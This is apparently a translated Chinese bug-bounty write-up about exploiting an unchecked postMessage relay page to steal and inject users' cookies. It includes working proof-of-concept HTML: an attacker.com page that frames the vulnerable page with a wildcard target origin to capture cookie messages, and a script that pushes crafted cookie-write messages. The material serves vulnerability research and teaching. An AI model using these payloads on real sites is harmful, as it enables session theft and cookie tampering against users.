挖洞經驗 | 如何利用postMessage竊取編輯使用者的Cookie資訊
某天,當我在做某個專案的漏洞測試時,在登入的一些HTTP請求記錄中,我發現了一種利用postMessage方式竊取和編輯使用者Cookie的方法。由於該測試是邀請測試,出於保密,我只能在下文中和大家分享一些方法思路。
postMessage介紹
相信大家都聽過不同視窗之間的通訊、當前視窗與內部iframe框架的通訊以及一些跨域技巧,window.postMessage功能就是允許在兩個客戶端的視窗/frames間傳送資料資訊,跨域地實現通訊的方法。
在HTML5中,Window.postMessage() 方法可以安全地實現跨源通訊。通常,對於兩個不同頁面的指令碼,只有當執行它們的頁面位於具有相同的協議(通常為https),埠號(443為https的預設值),以及主機 (兩個頁面的模數 Document.domain設定為相同的值) 時,這兩個指令碼才能相互通訊。window.postMessage() 方法提供了一種受控機制來規避此限制,只要正確的使用,這種方法就很安全。
Window.postMessage有三個引數,message、targetOrigin和可選的[transfer]),其中message代表將要傳送到其他視窗的資料,targetOrigin表示接收資料訊息的目標視窗,transfer代表訊息的所有權。另外還有一個window.addEventListener(“message”, receiveMessage, false),用以監聽訊息資料的反饋,其中的message就存在data、origin和source三個屬性,origin屬性表示訊息資料傳送方的身份,只有和原來指定傳送方的協議、域名或埠一致,才能建立通訊。具體請參考 postMessage的詳細介紹 。
舉個例子,比如我們這有一個包含js程式碼的頁面,用來監聽記錄傳入的訊息,其中的js程式碼如下:
<script> function messages(event) { console.log(event); } window.addEventListener(‘message’,messages,false); console.log(“listening”); </script> <iframe src="url/child.html"></iframe>
在上述child.html的子頁面中,存在一個向主頁面的訊息傳送,它就呼叫了postMessage方法,如下:
window.parent.postMessage("Hello parent", "target");
接下來,會發生什麼呢?
首先,你訪問那個會載入child.html子頁面的主頁面,之後,子頁面會向主頁面傳送訊息,然後,主頁面接收該訊息並通過控制檯進行記錄。這裡會存在什麼安全隱患嗎?
如果攻擊者能控制訊息傳送的目標視窗target引數值會怎樣?
當然,如果子頁面存在點選劫持又會怎樣?
我們要思考的是,按照postMessage規範來說,如果訊息傳送的目標視窗target引數是星號*,表示無限制,也即可以傳送到任何引用了子頁面的域名中去。這樣的話,就會導致一些不安全的問題出現。
具體測試
回到之前的漏洞測試過程中,為了更好地展示思路,接下來開始,假設我們的測試目標為域名onga.com。我通過爬蟲找到了其中一個包含了HTML內容的一個HTML頁面 sync.html,然後,我的工具也顯示該頁面中包含了一些不安全的Javascript程式碼。
這個檔案沒有其它過多的元素,只包含了一個script標記,所以這個頁面看起來是起到一箇中轉作用。仔細分析其中的 sync.html 檔案,其中包含了一個postMessage方法,它向變數名為wOrigin的目標傳送了訊息,如下:
window.parent.postMessage(JSON.stringify(msg), wOrigin);
這樣,我們現在就看到了兩個變數,分別為msg和wOrigin。於是,我認真查找了類似變數的初始化位置,以確定是否可以對它們進行控制。很驚訝的是,msg是Cookie值,其它相關的都是使用者的輸入。
在分析wOrigin變數的過程中, 它在三個地方存在,第一個地方就是:
var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1))); var ns = fdata.ns; var worigin = fdata.worigin;
程式碼很簡單,首先,它獲取到了當前視窗的URL雜湊值,然後執行編碼操作(Decode);之後,解析為json物件,接著,建立兩個變數,ns代表名稱空間,wOrigin代表訊息的傳送目標視窗。
看到window.location.hash方法,我們就會自然地想到它可以用dom-based XSS加以利用,但這個問題在此不作討論。
所以,接下來,我繼續檢查其中的程式碼,檢視 ns 和 wOrigin 在傳遞給postMessage方法前的一些過濾機制,啊,竟然沒有!那這樣的話,我們就可以想辦法來構造exploit看看了。
構造Exploit
現在,我們需要逆向來思考這個過程:
首先,要建立ns 和 wOrigin 兩個變數;
假設 ns=anyblah ,wOrigin=*;
建立json物件格式 {“ns”:”anyblah”,”wOrigin”:”*”};
構造存在漏洞的URL:
http://vulnerable-onga.com/sync.html# {“ns”:”anyblah”,”wOrigin”:”*”}
當上述URL頁面被載入之後,postMessage方法會向主頁面傳送一個訊息,但由於採用了*星號,該過程中不會限制傳送目標域,訊息可以傳送到任何採取監聽措施的域名中去。
現在,我們在主頁面中來設定一個監聽以接收訊息:
<script> function rcv(event) { console.log(event); } window.addEventListener('message',rcv,false); </script>
建立一個iframe框架來載入存在漏洞的頁面,並把它設定為子頁面,所以最終的PoC程式碼可以如下:
<script> function rcv(event) { console.log(event); } window.addEventListener('message',rcv,false); </script> <iframe src='http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}' />
當開啟攻擊者設定的包含上述程式碼的頁面 http://attacker.com/poc.html 後,監聽器將會執行,並會等待傳入訊息,同時,iframe框架會被載入,此時,存在漏洞的頁面也一樣會在iframe框架會中被載入,並會向主頁面也就是攻擊者控制的網站頁面中傳送包含有cookie的訊息,最終,在我們的例項中,攻擊者控制的網站會捕獲到這些包含cookie的訊息。
這就完了嗎?
當然沒有,不要忙著慶祝,這其中可能會有一些遺漏的東西,我們一起來看看。由於目標系統包含postMessage方法的檔案只有57行程式碼,我決定好好分析一下。果然,我又在其中發現了另外一行有意思的程式碼:
window.addEventListener(‘message’, h_message);
我又趕緊檢查了一下引數h_message函式的具體內容:
function h_message(event) { var data = null; try { data = JSON.parse(event.data); } catch(e) { return;} if (data.msgType !== "write" && data.namespace !== ns) { return; } setCookie(data.cookieName, data.cookieVal,parseInt(data.expiresDays, 10), data.secureOnly); }
我們來分析一下以上程式碼包含的意思:
傳入訊息中可能包含有json物件;
json物件中的msgType屬性可能和write屬性相同;
另外一個namespace屬性可能和hash中的 ”ns“相同,都是使用者端控制的輸入;
if (data.msgType !== “write” && data.namespace !== ns)中使用了邏輯非和與運算,所以兩組條件中都需要滿足才能return返回;
否則,就會執行下一個包含其它json屬性為引數的setCookie()函式。
這裡確實是存在風險的,由於缺乏對訊息源的認證機制,所以任意網站都可以用來發送訊息並向setCookie()中傳入惡意值。基於以上偉世通,我們可以構造出以下json物件來:
{“msgType”:”write”,”namespace”:”a”,”cookieName”:”injectedt”,”cookieVal”:”hacked”,”expiresDays”:10,”secureOnly”:false}
目標URL我們可以這樣來設定:/sync.html#{“ns”:”a”,”wOrigin”:”*”}
最終的PoC頁面中將包含以下程式碼:
<script> var tar='http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}'; var pay={"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false}; var c= window.open(tar,"child"); c.postMessage(pay,"*"); </script>
儲存包含上述程式碼的PoC頁面為html格式並開啟,cookie就能成功注入,因此攻擊者端也就能向存在漏洞網站,注入任意cookie資料資訊,實現間接的cookie竊取和編輯操作了。如下視訊所示:
看不到?點 這裡
參考:
http://www.sec-1.com/blog/wp-content/uploads/2016/08/Hunting–postMessage-Vulnerabilities.pdf
https://www.youtube.com/watch?v=XTKqQ9mhcgM
https://gist.github.com/YasserGersy/1fc77ff9b678fb5028a272a86c1d2ea1
https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/
*參考來源: medium ,clouds編譯,轉載請註明來自FreeBuf.COM